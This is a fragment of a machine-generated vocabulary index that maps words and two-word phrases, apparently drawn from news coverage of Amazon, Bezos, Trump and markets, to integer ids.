"business desire": 44898, "tackled amazon": 44899, "utm_medium social": 44900, "roger herring": 44901, "hope england": 44902, "selling ivanka": 44903, "timiraos": 44904, "mongabay depends": 44905, "state took": 44906, "\u014273billion": 44907, "response puts": 44908, "predatory monsters": 44909, "calendar year": 44910, "newswatch": 44911, "smartphones": 44912, "desensitized": 44913, "dara horn": 44914, "concussions": 44915, "fortnite video": 44916, "firm profits": 44917, "surveil people": 44918, "therefor controls": 44919, "goods owned": 44920, "usps amazon": 44921, "reaching political": 44922, "freeman repeatedly": 44923, "fairness rules": 44924, "lamster little": 44925, "separately reuters": 44926, "potentially billions": 44927, "app inspires": 44928, "work unlike": 44929, "lion attack": 44930, "tom malinowski": 44931, "agendas": 44932, "gop dem": 44933, "bibulous tabloid": 44934, "inc_homepage_lineline": 44935, "kill agreement": 44936, "killing soul": 44937, "close dow": 44938, "host city": 44939, "attention": 44940, "bank wholly": 44941, "book total": 44942, "ripoff": 44943, "arrangements": 44944, "wrongdoing claiming": 44945, "couple properties": 44946, "service argued": 44947, "original iphone": 44948, "promoting bizarre": 44949, "sentiments trump": 44950, "amazon era": 44951, "diverging": 44952, "italian constellation": 44953, "earningsfriday eurozone": 44954, "huge dollar": 44955, "accuracy issues": 44956, "hit game": 44957, "welker hallie": 44958, "basis outperforming": 44959, "congress": 44960, "wealth trump": 44961, "mammoth": 44962, "esquire article": 44963, "share jeff": 44964, "bezos cruising": 44965, "rent free": 44966, "readers including": 44967, "arrogant power": 44968, "jan 2019": 44969, "calls climate": 44970, "steven fox": 44971, "minister": 44972, "0515et": 44973, "supermicro servers": 44974, "match generally": 44975, "division hatred": 44976, "morning michael": 44977, "1521260051": 44978, "turned positive": 44979, "business plan": 44980, "created maintained": 44981, "story americas": 44982, "glowing": 44983, "greater monetary": 44984, "buying inventory": 44985, "transport chilled": 44986, "questionable oz": 44987, "kirke": 44988, "roars": 44989, "poverty according": 44990, "exact nightmare": 44991, "voice control": 44992, "guilty companies": 44993, "utah reduced": 44994, "gibbons histories": 44995, "including cctv": 44996, "launched mania": 44997, "conservative rock": 44998, "enforce political": 44999, "lee passed": 45000, "opinion investors": 45001, "mackenzie pecker": 45002, "longer streaks": 45003, "luxembourg ireland": 45004, "amzn gained": 45005, "wiltshire": 45006, "water cooler": 45007, "technology vision": 45008, "ninth year": 45009, "don outright": 45010, "model primarily": 45011, "hadn elected": 45012, "comment don": 45013, "fundamental smartphone": 45014, "upset source": 45015, "colorful twitter": 45016, "birds art": 45017, "sanchez worked": 45018, "whichever": 45019, "kunkle": 45020, "abbreviated": 45021, "seek vengeance": 45022, "likelihood": 45023, "aiello cnbc": 45024, "cidg davao": 45025, "management policies": 45026, "idiot spend": 45027, "various execs": 45028, "bear arms": 45029, "genuinely believe": 45030, "commission revenue": 45031, "regulator taking": 45032, "money management": 45033, "hawley wants": 45034, "work scheduling": 45035, "billion lockheed": 45036, "criticize saudi": 45037, "direction taking": 45038, "muddy": 45039, "vista": 45040, "nationwide does": 45041, "trounced": 45042, "kayli": 45043, "electrical hazards": 45044, "9jay9wndd8 betsy": 45045, "1510et copyright": 45046, "conquistador francisco": 45047, "entire trump": 45048, "retail disclaimer": 45049, "unity": 45050, "annual financial": 45051, "tampering": 45052, "sold provision": 45053, "minimal counter": 45054, "tony fernandes": 45055, "twtr success": 45056, "pinterest reports": 45057, "defend immigration": 45058, "wider profit": 45059, "cata": 45060, "exercise scientist": 45061, "struck deal": 45062, "durkin": 45063, "history examining": 45064, "political situation": 45065, "ham": 45066, "respect whoopi": 45067, "amazon author": 45068, "week note": 45069, "150 present": 45070, "chairs senate": 45071, "convinced": 45072, "word piece": 45073, "kond\u014d": 45074, "watergate journalist": 45075, "core ridesharing": 45076, "visit remote": 45077, "skeptical eye": 45078, "dinesh souza": 45079, "shadows dorsky": 45080, "freeze": 45081, "consequently jobs": 45082, "bs_bullet_primary information": 45083, "autocrats reward": 45084, "historic time": 45085, "audience continued": 45086, "contaminated sinclair": 45087, "fund stadium": 45088, "beorma": 45089, "brexit related": 45090, "georgetown prep": 45091, "pennsylvania law": 45092, "fixed cost": 45093, "shots kept": 45094, "major oil": 45095, "function playerinstance": 45096, "maximizing package": 45097, "cooperatively": 45098, "positive breadth": 45099, "wants amazon": 45100, "uptrending": 45101, "invitations": 45102, "earlier books": 45103, "trump trade": 45104, "enforcement procedures": 45105, "connected brother": 45106, "2012 amazon": 45107, "baggage fees": 45108, "involving google": 45109, "learnt": 45110, "defended industrial": 45111, "munster": 45112, "roku fell": 45113, "really push": 45114, "snapping": 45115, "transaction": 45116, "depreciates": 45117, "capital projects": 45118, "ap image": 45119, "retail names": 45120, "times border": 45121, "walker deal": 45122, "elie": 45123, "novelty gift": 45124, "dow gain": 45125, "prohibited": 45126, "amazon manager": 45127, "barbs delrahim": 45128, "anti crime": 45129, "blowout earnings": 45130, "building indistinct": 45131, "copyright_reutersapi": 45132, "foot space": 45133, "contradiction": 45134, "divvy": 45135, "wasn taken": 45136, "proves true": 45137, "hoxie director": 45138, "venezuela source": 45139, "worded": 45140, "primarychannelarray": 45141, "perfect boyfriend": 45142, "include existing": 45143, "typeof history": 45144, "respects looks": 45145, "conference today": 45146, "says refugees": 45147, "park conversation": 45148, "worker shortage": 45149, "unprecedented surveillance": 45150, "telemarketing companies": 45151, "undertook whirlwind": 45152, "rate envelopes": 45153, "maritime": 45154, "risk innovation": 45155, "curran decision": 45156, "cnbc article": 45157, "interested examples": 45158, "large acquisitions": 45159, "parents lump": 45160, "enableautoplayblock false": 45161, "466 pages": 45162, "commodities transportation": 45163, "apttus new": 45164, "fish partners": 45165, "ft commerce": 45166, "agent reportedly": 45167, "california city": 45168, "stanley": 45169, "genealogy fcc": 45170, "sold exas": 45171, "retailers collect": 45172, "woman drags": 45173, "children waving": 45174, "produces devices": 45175, "city incentives": 45176, "online technology": 45177, "political stage": 45178, "denuclearization talks": 45179, "prepare going": 45180, "reaction ala": 45181, "fully responsible": 45182, "decent wage": 45183, "spdr etf": 45184, "livery flies": 45185, "flat head": 45186, "underpinning revenues": 45187, "trump supposed": 45188, "invited sanders": 45189, "explanation just": 45190, "today yeti": 45191, "fact tech": 45192, "victims calling": 45193, "abramowitz defended": 45194, "droughts international": 45195, "risks half": 45196, "martin 791": 45197, "club crime": 45198, "industries means": 45199, "world 766th": 45200, "ears reports": 45201, "intelligence dr": 45202, "change winemakers": 45203, "frauds using": 45204, "held unified": 45205, "government restraint": 45206, "planted spy": 45207, "staff maryland": 45208, "modi": 45209, "college football": 45210, "lunch time": 45211, "initiated project": 45212, "advocate doesn": 45213, "divided state": 45214, "michael hanlon": 45215, "oust republican": 45216, "corporations": 45217, "environment program": 45218, "breakouts": 45219, "doing maiga": 45220, "kids brains": 45221, "shaunmckenzie86 status": 45222, "deal altogether": 45223, "emerging consensus": 45224, "football feast": 45225, "nyt sheryl": 45226, "separatists": 45227, "koshgarian says": 45228, "hiring expansion": 45229, "free ebook": 45230, "appeals work": 45231, "savings shrink": 45232, "washington donald": 45233, "offering handful": 45234, "sustainable choices": 45235, "l0 v0": 45236, "platforms mlb": 45237, "endorses climate": 45238, "explosives": 45239, "hired investigators": 45240, "showed measure": 45241, "1989": 45242, "trends amazon": 45243, "join trade": 45244, "bershidsky": 45245, "bezos played": 45246, "heterodox": 45247, "ad platform": 45248, "yesterday saying": 45249, "cincinnatis prolific": 45250, "active nomination": 45251, "financial losses": 45252, "prescription drugs": 45253, "shareholder starboard": 45254, "apple emphasis": 45255, "resuscitated": 45256, "worrisome semiconductors": 45257, "provide 500": 45258, "tickets 2019": 45259, "away prime": 45260, "facebook groups": 45261, "doing second": 45262, "stocks sectors": 45263, "anarchist": 45264, "avoided mentioning": 45265, "cabinet colleagues": 45266, "seafair air": 45267, "sourcelink sourcename": 45268, "elections integrity": 45269, "springfield": 45270, "raise postal": 45271, "elton john": 45272, "install browser": 45273, "kump aldisert": 45274, "internet brands": 45275, "workers fighting": 45276, "arduous": 45277, "help attract": 45278, "exerts": 45279, "flattening": 45280, "jokes just": 45281, "xenit": 45282, "pure coincidence": 45283, "multiplication tables": 45284, "having amazon": 45285, "cooperatives holds": 45286, "unlawful reasonableness": 45287, "mgongloff1": 45288, "cbs death": 45289, "immediate restraining": 45290, "amendment mccabe": 45291, "company success": 45292, "resource governance": 45293, "sweetgreen": 45294, "finding self": 45295, "stopped people": 45296, "law federal": 45297, "1st deadline": 45298, "8et": 45299, "behoove facebook": 45300, "great chance": 45301, "truly competitive": 45302, "california small": 45303, "148 bought": 45304, "zinke lieutenant": 45305, "share data": 45306, "largest bookseller": 45307, "apga councillor": 45308, "melillo": 45309, "high ground": 45310, "old building": 45311, "new foundation": 45312, "445": 45313, "inaction": 45314, "parts facebook": 45315, "communities recommended": 45316, "campaign amazon": 45317, "misplaced cash": 45318, "services advertising": 45319, "holman jenkins": 45320, "decade ago": 45321, "discounted ivanka": 45322, "rumours": 45323, "make watergate": 45324, "giant opened": 45325, "untireless": 45326, "relentlessly": 45327, "crime 2018": 45328, "effective examples": 45329, "biggest office": 45330, "global ambitions": 45331, "craig grossi": 45332, "comments mark": 45333, "creates inflatable": 45334, "sunnyside asking": 45335, "pressed pelosi": 45336, "theory researcher": 45337, "amazon smashed": 45338, "pay legal": 45339, "biggest names": 45340, "relayed": 45341, "tumbled gold": 45342, "westnead compared": 45343, "hbo john": 45344, "da davidson": 45345, "sanders slamming": 45346, "dreamer doer": 45347, "country dumping": 45348, "canyon press": 45349, "series click": 45350, "fellow sharecroppers": 45351, "housing dozens": 45352, "chastises": 45353, "orrin": 45354, "patrick breen": 45355, "insider mary": 45356, "asserted strange": 45357, "ama study": 45358, "gear saunders": 45359, "workers wind": 45360, "dan clark": 45361, "holding hearings": 45362, "approach": 45363, "buy dang": 45364, "brief snow": 45365, "church draws": 45366, "mocked amazon": 45367, "friendly forest": 45368, "contract according": 45369, "vendors accounted": 45370, "heard lot": 45371, "575x270 getty_173218731_200015422000928060_388160": 45372, "patch despite": 45373, "ryan fournier": 45374, "2017 despite": 45375, "trump announcement": 45376, "8b making": 45377, "insider new": 45378, "b3x apply": 45379, "actually presents": 45380, "massive company": 45381, "dohastadium explosions": 45382, "row xlf": 45383, "state ge": 45384, "sprawling business": 45385, "market mark": 45386, "marketing budgets": 45387, "litigation": 45388, "twitter facebook": 45389, "undercutting": 45390, "don amazon": 45391, "killing sensational": 45392, "story linking": 45393, "west afp": 45394, "carmakers": 45395, "fabled prize": 45396, "460 million": 45397, "ips elementary": 45398, "accountable imagine": 45399, "handle moreconservative": 45400, "refused egitimate": 45401, "billion british": 45402, "posted strong": 45403, "fraudnewscnn": 45404, "west monroe": 45405, "affairs everett": 45406, "pecker attorney": 45407, "electrified x3": 45408, "place wherethey": 45409, "benedict arnold": 45410, "casting doubt": 45411, "amazon devon": 45412, "spoofs": 45413, "happened repatriation": 45414, "version 1709": 45415, "provide greater": 45416, "life story": 45417, "legislative fellow": 45418, "pittsburgh new": 45419, "cut household": 45420, "named new": 45421, "request congress": 45422, "streaming television": 45423, "acquires bagua": 45424, "weeks trimming": 45425, "salary hikes": 45426, "pajamas": 45427, "sellers moving": 45428, "experiencing emotional": 45429, "run derby": 45430, "philanthropy charade": 45431, "entity does": 45432, "business request": 45433, "gravy": 45434, "strain american": 45435, "infrastructure project": 45436, "devilman crybaby": 45437, "advises police": 45438, "great relationship": 45439, "family conversation": 45440, "millionaire tax": 45441, "huffington": 45442, "reopen": 45443, "famed slice": 45444, "presumably sourced": 45445, "cynical": 45446, "franzia appeared": 45447, "potus restaurant": 45448, "agreement reached": 45449, "cheat sheet": 45450, "mixed success": 45451, "elections voters": 45452, "walmart home": 45453, "act immediately": 45454, "day numbers": 45455, "multi domain": 45456, "coveted title": 45457, "using traditional": 45458, "reed employment": 45459, "bevested": 45460, "posed dire": 45461, "wildfires": 45462, "announced tariffs": 45463, "increasing number": 45464, "economic number": 45465, "concerns displacement": 45466, "widely refuted": 45467, "affairs jay": 45468, "alphabet entered": 45469, "sponsors greene": 45470, "agencies pursue": 45471, "change libel": 45472, "monopolistic power": 45473, "group looking": 45474, "theology decades": 45475, "vast bulk": 45476, "danske reuters": 45477, "man steamy": 45478, "666 shares": 45479, "speed limit": 45480, "higher ground": 45481, "european tax": 45482, "ways raising": 45483, "helen keller": 45484, "groceries robotics": 45485, "time definite": 45486, "mutually respectful": 45487, "digital creation": 45488, "soars": 45489, "subscribers": 45490, "stronger company": 45491, "significant republicans": 45492, "badass vigilante": 45493, "hires sanchez": 45494, "press bolsonaro": 45495, "troubled writer": 45496, "tracy amazon": 45497, "interests shortly": 45498, "unlimited service": 45499, "comments trump": 45500, "business sears": 45501, "632": 45502, "hyperbolic president": 45503, "services online": 45504, "shirts hats": 45505, "squads": 45506, "quietly shipping": 45507, "org trump": 45508, "aristocrats": 45509, "tricks descriptionplaintext": 45510, "forward steven": 45511, "true rubenstein": 45512, "tumultuous political": 45513, "legitimate negotiation": 45514, "chief security": 45515, "campaign number": 45516, "meet making": 45517, "palm flat": 45518, "pooh poohed": 45519, "shipstation brands": 45520, "pres trump": 45521, "instead parscale": 45522, "hsn foto": 45523, "ceo pat": 45524, "suit 400": 45525, "financial relief": 45526, "new bride": 45527, "weinroth palm": 45528, "warmer": 45529, "highly anticipated": 45530, "kavanough accuser": 45531, "vegas sands": 45532, "little longer": 45533, "market influence": 45534, "bought brand": 45535, "amazon grocery": 45536, "feel free": 45537, "son writer": 45538, "discussed amazon": 45539, "discredited mueller": 45540, "malekan": 45541, "mohamed bin": 45542, "park evidence": 45543, "opportunity blake": 45544, "know frankly": 45545, "signed trade": 45546, "expect fiscal": 45547, "network host": 45548, "cut services": 45549, "pnw": 45550, "bring descriptionplaintext": 45551, "metropolis": 45552, "rohingya faith": 45553, "residents new": 45554, "html inc_override_url": 45555, "beatriz meets": 45556, "1993 led": 45557, "policies 2018": 45558, "phrases": 45559, "clinics": 45560, "long drawn": 45561, "goldenbenjamin pic": 45562, "indicatorstoggle false": 45563, "video finishes": 45564, "larger progressive": 45565, "2017 nick": 45566, "amazon approaches": 45567, "sag biggest": 45568, "underlying business": 45569, "intricate pulsing": 45570, "store jobs": 45571, "victor anthony": 45572, "way means": 45573, "subdued investor": 45574, "health conscious": 45575, "profound question": 45576, "paying additional": 45577, "dslr slr": 45578, "zev": 45579, "taking longer": 45580, "wage law": 45581, "web enabled": 45582, "fascistic": 45583, "abc wh": 45584, "principles addressing": 45585, "retail spending": 45586, "brief remarks": 45587, "zachary leader": 45588, "company claim": 45589, "centric collection": 45590, "word tariffs": 45591, "tax home": 45592, "fading business": 45593, "trump voting": 45594, "toronto san": 45595, "atalanta sosnoff": 45596, "famous incident": 45597, "cortez knows": 45598, "hippie": 45599, "metapack shipping": 45600, "listens": 45601, "russia confirms": 45602, "giving aid": 45603, "total hours": 45604, "legal cannabis": 45605, "easy economic": 45606, "opiates plentiful": 45607, "ai machine": 45608, "year promises": 45609, "impulsive president": 45610, "music charts": 45611, "solutions george": 45612, "gmo content": 45613, "service showtime": 45614, "apple facebook": 45615, "crash site": 45616, "springs colorado": 45617, "aided convince": 45618, "firm used": 45619, "biggest accomplishments": 45620, "trump badly": 45621, "shutdown stalemate": 45622, "rates usually": 45623, "marathon asset": 45624, "debt riddled": 45625, "bank corporation": 45626, "pointed cnn": 45627, "border experts": 45628, "trump decision": 45629, "leave reply": 45630, "gov women": 45631, "redmond afp": 45632, "fhd": 45633, "chicago federal": 45634, "standouts": 45635, "week handed": 45636, "negligible impact": 45637, "identity theft": 45638, "product listings": 45639, "actually time": 45640, "smartpower": 45641, "country image": 45642, "debilitating": 45643, "activists tech": 45644, "explains founder": 45645, "parisa": 45646, "start impeachment": 45647, "apparel searches": 45648, "commerce amid": 45649, "cold hard": 45650, "month takeover": 45651, "expires amazon": 45652, "account scandal": 45653, "cream chargers": 45654, "world nemesis": 45655, "survivor david": 45656, "employees comprehensive": 45657, "yorker ami": 45658, "trump general": 45659, "road rage": 45660, "inventory management": 45661, "probes amazon": 45662, "tedx": 45663, "boy maybe": 45664, "disappointingly actuals": 45665, "kindling going": 45666, "hurdle": 45667, "damore situation": 45668, "discrimination proceedings": 45669, "products lighting": 45670, "social chatter": 45671, "regulation enforcement": 45672, "letter read": 45673, "unappealing": 45674, "earning roughly": 45675, "stock momentum": 45676, "involving silence": 45677, "male filmmakers": 45678, "trump leadership": 45679, "gulftimes trump": 45680, "minneapolis st": 45681, "misspelled": 45682, "palisade": 45683, "major traffic": 45684, "markle central": 45685, "harrer bloomberg": 45686, "domain cnn": 45687, "marshalls": 45688, "macron": 45689, "cites house": 45690, "examination": 45691, "specious": 45692, "design capital": 45693, "colbert": 45694, "doj echoed": 45695, "good solomon": 45696, "bezos wearing": 45697, "liability stated": 45698, "initiative hint": 45699, "southern": 45700, "second 608m": 45701, "970 shares": 45702, "words reflecting": 45703, "officers killed": 45704, "establish fairer": 45705, "racist policies": 45706, "review pentagon": 45707, "quarrying": 45708, "president reason": 45709, "excluding": 45710, "increasingly aware": 45711, "lengthy counterclaim": 45712, "179 700": 45713, "constant camera": 45714, "cc66d8b3d8354d7686ff849b53fcb798": 45715, "truce": 45716, "built near": 45717, "hume brithume": 45718, "quarter subscriber": 45719, "prohibits states": 45720, "florists sex": 45721, "open tim": 45722, "shooting hundreds": 45723, "amazon appropriate": 45724, "decidedly mixed": 45725, "ranting": 45726, "post produce": 45727, "subscription free": 45728, "carriers charge": 45729, "snowball edge": 45730, "obamacare plans": 45731, "aptly": 45732, "breitbart tech": 45733, "marys ontario": 45734, "cohen ami": 45735, "steam music": 45736, "bezos actual": 45737, "legislation slashed": 45738, "say packages": 45739, "amazon way": 45740, "intercontinental missile": 45741, "trump say": 45742, "slick": 45743, "sided war": 45744, "bezos track": 45745, "rated star": 45746, "praised bolsonaro": 45747, "major league": 45748, "headlines mark": 45749, "told marketwatch": 45750, "munster loup": 45751, "tax season": 45752, "research cepr": 45753, "150 970": 45754, "cute snout": 45755, "tpm": 45756, "recommendations carousels": 45757, "sleek apple": 45758, "brennan make": 45759, "blackfridaysinamazon": 45760, "amazon jbl": 45761, "capital exchange": 45762, "continued progress": 45763, "did elaborate": 45764, "property rights": 45765, "shalimar": 45766, "finance filings": 45767, "buildings new": 45768, "trump big": 45769, "finish line": 45770, "worker including": 45771, "benefits chinese": 45772, "2018 tick": 45773, "predates trump": 45774, "old news": 45775, "opened higher": 45776, "rival coca": 45777, "questioner": 45778, "waters finding": 45779, "privacy risk": 45780, "riding sequences": 45781, "pulls pistol": 45782, "smashing expectations": 45783, "seizing control": 45784, "queen meghan": 45785, "hours sent": 45786, "tabloid owner": 45787, "detracts": 45788, "restrictions exist": 45789, "evolved sufficiently": 45790, "following cable": 45791, "saunders wrote": 45792, "saving ask": 45793, "murray added": 45794, "blight simon": 45795, "regarding privacy": 45796, "citizen consumer": 45797, "miller teamed": 45798, "pinching": 45799, "chill european": 45800, "health decision": 45801, "digital plays": 45802, "questions regarding": 45803, "roughed": 45804, "airborne firefighter": 45805, "bovada": 45806, "hearing underscored": 45807, "form submit": 45808, "facts kudlow": 45809, "programs deemed": 45810, "department urges": 45811, "deplorable sticker": 45812, "pay 756": 45813, "cheyenne": 45814, "wrote neil": 45815, "following twitter": 45816, "list merit": 45817, "starting workers": 45818, "technology mobility": 45819, "carriers president": 45820, "nearly matched": 45821, "strand book": 45822, "incendida": 45823, "employees denying": 45824, "litigation analyst": 45825, "bernie ecclestone": 45826, "tiffany tif": 45827, "squat": 45828, "coincided": 45829, "make america": 45830, "started yesterday": 45831, "byways": 45832, "ways people": 45833, "google algorithms": 45834, "mcconnell wrote": 45835, "area read": 45836, "kits": 45837, "peak income": 45838, "sharing laugh": 45839, "undisclosed number": 45840, "includes forward": 45841, "pretty dark": 45842, "returns products": 45843, "national surveillance": 45844, "seek compensation": 45845, "result soybean": 45846, "billion starting": 45847, "epshteyn": 45848, "monopolistic capitalism": 45849, "accused american": 45850, "flow company": 45851, "people following": 45852, "schultz": 45853, "usps privatizing": 45854, "usps doubles": 45855, "firms want": 45856, "hurston trust": 45857, "incorrectly identified": 45858, "106 year": 45859, "ago trump": 45860, "order jobs": 45861, "scene toronto": 45862, "assembled iphones": 45863, "primarily inspirational": 45864, "stocks mixed": 45865, "face started": 45866, "arbitration agreement": 45867, "mccabe book": 45868, "restrictions prioritizing": 45869, "doesnt": 45870, "294": 45871, "600 passengers": 45872, "minh": 45873, "highly personal": 45874, "trafficked runaways": 45875, "amazon luther": 45876, "alerts obviously": 45877, "amazon drops": 45878, "mchugh wrote": 45879, "newshour breitbart": 45880, "power right": 45881, "planning company": 45882, "petrochina": 45883, "aut": 45884, "harms transgender": 45885, "custody talk": 45886, "competition": 45887, "multiple angles": 45888, "competition grounds": 45889, "crowd sourced": 45890, "efficiency directorate": 45891, "streitfeld": 45892, "women cornered": 45893, "agriculture commissioner": 45894, "fair painted": 45895, "remainder": 45896, "despite substantial": 45897, "titled executive": 45898, "dan kurzius": 45899, "courtney kube": 45900, "assemblyman braunstein": 45901, "moonshot": 45902, "complete listing": 45903, "mccain warned": 45904, "piece axios": 45905, "times ivanka": 45906, "start conversation": 45907, "aggressive trump": 45908, "faces increased": 45909, "sen jon": 45910, "citing unflattering": 45911, "odd cbs": 45912, "keeping families": 45913, "elected claiming": 45914, "digital logistics": 45915, "stocks shares": 45916, "unfunded": 45917, "streamline newsletter": 45918, "wondered": 45919, "court willingness": 45920, "sole seat": 45921, "danny malley": 45922, "blumenthal connecticut": 45923, "preceded": 45924, "sanders ensued": 45925, "dominant": 45926, "casinos featuring": 45927, "eagle": 45928, "partner organizations": 45929, "address google": 45930, "israel does": 45931, "reportedly divided": 45932, "day jedi": 45933, "conflicting": 45934, "fox does": 45935, "page book": 45936, "richter scale": 45937, "karate chop": 45938, "susan buckner": 45939, "resource available": 45940, "philosophically conservative": 45941, "begin selling": 45942, "dingtalk office": 45943, "yaeger": 45944, "isn sweating": 45945, "sellers 1p": 45946, "promise puts": 45947, "financial times": 45948, "painful effort": 45949, "bloomberg reports": 45950, "authority 2018": 45951, "reunions": 45952, "strong arm": 45953, "test photo": 45954, "impacting politics": 45955, "hsn hsn": 45956, "bezos twitter": 45957, "content uploads": 45958, "super wealthy": 45959, "union gmb": 45960, "news results": 45961, "kicks star": 45962, "liquefied natural": 45963, "begun filming": 45964, "brain gain": 45965, "kroll": 45966, "milder": 45967, "actually profiting": 45968, "reynolds european": 45969, "implying reporters": 45970, "sanders highlighted": 45971, "butnick": 45972, "forestry laws": 45973, "media bought": 45974, "propose changes": 45975, "attendance": 45976, "successfully integrate": 45977, "election year": 45978, "brother hollywood": 45979, "agcom amaozn": 45980, "allen lawyers": 45981, "faces airbus": 45982, "khqdwikvjv ronan": 45983, "pleasers": 45984, "agricultural producers": 45985, "campaign ami": 45986, "uncollected sales": 45987, "twitter shadow": 45988, "zacks best": 45989, "outrageously": 45990, "johngaramendi": 45991, "vast fortune": 45992, "juicier": 45993, "brand oath": 45994, "utter nonsense": 45995, "bar yesterday": 45996, "company outstanding": 45997, "minded online": 45998, "shares lower": 45999, "major metropolis": 46000, "alternative source": 46001, "impending criminal": 46002, "replace local": 46003, "reports expectations": 46004, "soon won": 46005, "revealing personal": 46006, "forever eventually": 46007, "intimate ceremony": 46008, "2018 mike": 46009, "conditions": 46010, "nella dutch": 46011, "big online": 46012, "bring modern": 46013, "entry": 46014, "board caption": 46015, "product away": 46016, "amazon projected": 46017, "department finance": 46018, "priced supermarket": 46019, "trump cited": 46020, "mta percoco": 46021, "race jumaane": 46022, "kidman force": 46023, "targeting china": 46024, "191 million": 46025, "allstate insurance": 46026, "pl facebook": 46027, "matter investors": 46028, "shaved yesterday": 46029, "awesome blessing": 46030, "includes tools": 46031, "flatten": 46032, "categorical": 46033, "poison ricin": 46034, "965 shares": 46035, "previous editions": 46036, "infinity": 46037, "f7ce00 true": 46038, "isn": 46039, "follows facebook": 46040, "tell marketwatch": 46041, "twist overall": 46042, "hq lather": 46043, "security brawl": 46044, "short easy": 46045, "authorities means": 46046, "certifies": 46047, "dominance attracting": 46048, "soaring rents": 46049, "baudelaire children": 46050, "bring management": 46051, "armitage": 46052, "game photo": 46053, "commission took": 46054, "constitutional duty": 46055, "canadian value": 46056, "bezos accumulated": 46057, "morning broadsheet": 46058, "federal funds": 46059, "york kennedy": 46060, "finally reinstated": 46061, "legislation creates": 46062, "putin insisting": 46063, "nefarious purposes": 46064, "descriptionplaintext rachel": 46065, "duffel handbag": 46066, "french wines": 46067, "advantage forte": 46068, "additional languages": 46069, "week released": 46070, "occurs cities": 46071, "antitrust perspective": 46072, "n924661 thieves": 46073, "services contract": 46074, "careful reading": 46075, "billion cnbc": 46076, "century people": 46077, "chief activities": 46078, "crumble": 46079, "troubling trend": 46080, "mariner books": 46081, "facebook internal": 46082, "pay brian": 46083, "270": 46084, "nancy scola": 46085, "project leaders": 46086, "deep disagreements": 46087, "bannion": 46088, "just took": 46089, "small parcel": 46090, "scattergun": 46091, "dead aim": 46092, "remains available": 46093, "rescues indigenous": 46094, "giant lobbying": 46095, "dependent instead": 46096, "jj": 46097, "3d handgun": 46098, "inappropriate criteria": 46099, "toxic culture": 46100, "5g mobile": 46101, "retail commerce": 46102, "snl pointed": 46103, "cell": 46104, "readers favorite": 46105, "language": 46106, "losing sessions": 46107, "development official": 46108, "snoqualmie pass": 46109, "interesting data": 46110, "action amazon": 46111, "difficult antitrust": 46112, "robot brothel": 46113, "election saying": 46114, "combining criticism": 46115, "waylaid": 46116, "second job": 46117, "news roundup": 46118, "express giving": 46119, "decision read": 46120, "casting wide": 46121, "leaves importers": 46122, "currently report": 46123, "just looked": 46124, "renault tried": 46125, "foods holds": 46126, "valley antitrust": 46127, "approximately 207": 46128, "metropolitan news": 46129, "soon face": 46130, "staircases": 46131, "powerhouse 2018": 46132, "india dream": 46133, "really bad": 46134, "justice book": 46135, "vallone released": 46136, "tricks sliming": 46137, "404": 46138, "organizing brought": 46139, "dc based": 46140, "building solid": 46141, "processing": 46142, "paris style": 46143, "story robin": 46144, "apart cape": 46145, "endowment": 46146, "facebook embedded": 46147, "inappropriate white": 46148, "business landscape": 46149, "gains exit": 46150, "reportedly planning": 46151, "strong words": 46152, "mean work": 46153, "gillespie": 46154, "violations referring": 46155, "eschewing": 46156, "meeting included": 46157, "imperative fireside": 46158, "worker robert": 46159, "event tesla": 46160, "portland ore": 46161, "podesta": 46162, "shaky": 46163, "videos bzwidgets": 46164, "day extension": 46165, "pestilential": 46166, "cheaper just": 46167, "tie workplace": 46168, "pr foxconn": 46169, "industry bulldozing": 46170, "understanding anti": 46171, "american thinker": 46172, "trump directive": 46173, "superpowers": 46174, "wealthy democrats": 46175, "debbie": 46176, "consultant company": 46177, "burton": 46178, "negotiators wrapped": 46179, "tranquility": 46180, "turns pleading": 46181, "splc regularly": 46182, "shasta ventures": 46183, "cardinal": 46184, "soulful": 46185, "huge amazon": 46186, "billionaire clown": 46187, "s8i a4ee": 46188, "retaining": 46189, "enforcement offices": 46190, "workers empowering": 46191, "toothbrushes": 46192, "sybt": 46193, "federal contractors": 46194, "wright runstad": 46195, "doll sales": 46196, "larger stories": 46197, "walk aryan": 46198, "prevailing": 46199, "vernon unsworth": 46200, "cara knoedler": 46201, "cos attended": 46202, "uruguay": 46203, "costello pa": 46204, "leftovers": 46205, "profit distribution": 46206, "severance pay": 46207, "scheme lm": 46208, "newly available": 46209, "study reviewed": 46210, "appropriate role": 46211, "refugees america": 46212, "city bezos": 46213, "actress oscars": 46214, "business funding": 46215, "trump decries": 46216, "nasdaq viab": 46217, "example target": 46218, "interview viewer": 46219, "preliminary inquiry": 46220, "aid organization": 46221, "bundy sally": 46222, "faint echo": 46223, "package rate": 46224, "metre": 46225, "experiment": 46226, "wontbeerased": 46227, "estimated earnings": 46228, "shown little": 46229, "enhanced business": 46230, "gender ideology": 46231, "article exposing": 46232, "receive medal": 46233, "fishing phil": 46234, "facing allegations": 46235, "table little": 46236, "public subsidy": 46237, "estimated financial": 46238, "2017 lows": 46239, "high schools": 46240, "howard stands": 46241, "katherine fechte": 46242, "beauty wish": 46243, "orlando mayor": 46244, "boeing 737": 46245, "sanders requested": 46246, "videoendslateimpl": 46247, "razor burn": 46248, "announcement calling": 46249, "actually owe": 46250, "barclay": 46251, "maligned amazon": 46252, "date ott": 46253, "injured just": 46254, "indur goklany": 46255, "old video": 46256, "elementcontents": 46257, "verbally": 46258, "neighbors include": 46259, "new supply": 46260, "willa": 46261, "deposited": 46262, "reasonable rate": 46263, "montana legislature": 46264, "musk jeff": 46265, "minister boris": 46266, "2016 hack": 46267, "lori berman": 46268, "book hero": 46269, "yorktimes": 46270, "big screen": 46271, "dealers tax": 46272, "ros\u00e9 mansion": 46273, "retail analytics": 46274, "russia australia": 46275, "double usps": 46276, "earning far": 46277, "acquire wirecutter": 46278, "democrats approved": 46279, "buying stuff": 46280, "budget woes": 46281, "brazil economic": 46282, "big loss": 46283, "bezos telling": 46284, "eating right": 46285, "including poultry": 46286, "thornton stealing": 46287, "soil": 46288, "checking facts": 46289, "identifiable data": 46290, "double delivery": 46291, "social giant": 46292, "blanket pro": 46293, "coworker": 46294, "dog treats": 46295, "record billion": 46296, "preschools serving": 46297, "eu engaging": 46298, "pickup artists": 46299, "pay living": 46300, "slumber party": 46301, "enthralling premise": 46302, "penalty process": 46303, "centers change": 46304, "increasing rainforest": 46305, "lev": 46306, "marie": 46307, "400 websites": 46308, "danhof ends": 46309, "imperfect": 46310, "migration groups": 46311, "indigenous culture": 46312, "bowman": 46313, "attending sporting": 46314, "fed credit": 46315, "sessions participates": 46316, "imagined": 46317, "lush creepy": 46318, "photos politicians": 46319, "donates 10m": 46320, 